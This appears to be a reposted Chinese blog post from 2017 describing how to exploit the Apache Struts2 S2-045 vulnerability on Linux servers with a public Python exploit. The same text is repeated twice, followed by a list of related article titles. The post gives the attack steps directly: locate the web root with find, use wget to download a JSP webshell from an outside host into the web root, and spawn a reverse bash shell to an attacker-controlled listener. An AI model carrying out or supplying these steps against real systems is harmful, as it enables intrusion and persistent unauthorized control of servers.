struts2 s2-45漏洞利用
2017-03-08 09:54
1176 查看
网上放出了python版的struts2 s2-45漏洞利用exp，可执行win或linux命令。
实践了几个linux服务器，记录下linux下获取webshell过程。
访问web，随便挑一个图片文件名，如qzxdh.jpg，利用exp执行find / -name qzxdh.jpg，获取web物理路径。
利用wget http://qzxdh.com/jspshell.txt -O /webroot/jspshell.jsp，获取jspwebshell。
如有公网服务器，可在公网服务器上侦听端口，利用exp执行命令将目标的bash弹回。
实践了几个linux服务器，记录下linux下获取webshell过程。
访问web，随便挑一个图片文件名，如qzxdh.jpg，利用exp执行find / -name qzxdh.jpg，获取web物理路径。
利用wget http://qzxdh.com/jspshell.txt -O /webroot/jspshell.jsp，获取jspwebshell。
如有公网服务器，可在公网服务器上侦听端口，利用exp执行命令将目标的bash弹回。
内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 
相关文章推荐
- struts2 s2-045漏洞利用poc
- Apache Struts2（S2-045）漏洞利用
- python S2-45 漏洞利用工具
- Apache Struts2（S2-045）漏洞利用
- Apache Struts2（S2-046）漏洞利用
- struts2 最新漏洞 S2
- Apache Struts2（S2-045）漏洞反思总结
- Struts2 S2 – 032远程代码执行漏洞分析报告 .
- struts2 漏洞编号S2-045 升级方案 更换jar包清单
- 漏洞--Struts2远程命令执行S2-016
- Struts2 S2-052漏洞分析
- Apache Struts2 s2-020补丁安全绕过漏洞
- struts2漏洞攻击一例 怎样利用Struts2的漏洞(2.0.0<=version<=2.3.15)搞垮一个基于Struts2写的网站？ Struts是java web framewor
- S2-045漏洞利用工具&解决方案
- S02-45 struts2 最新漏洞 学习记录
- Struts2 S2-020补丁绕过漏洞
- 3月第3周业务风控关注 | 去哪儿员工利用漏洞，薅美团羊毛 45 万
- 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复
- 9.漏洞验证系列--Apache Struts2 远程命令执行(S2-045)
- Struts2再曝高危漏洞(S2-020补丁绕过)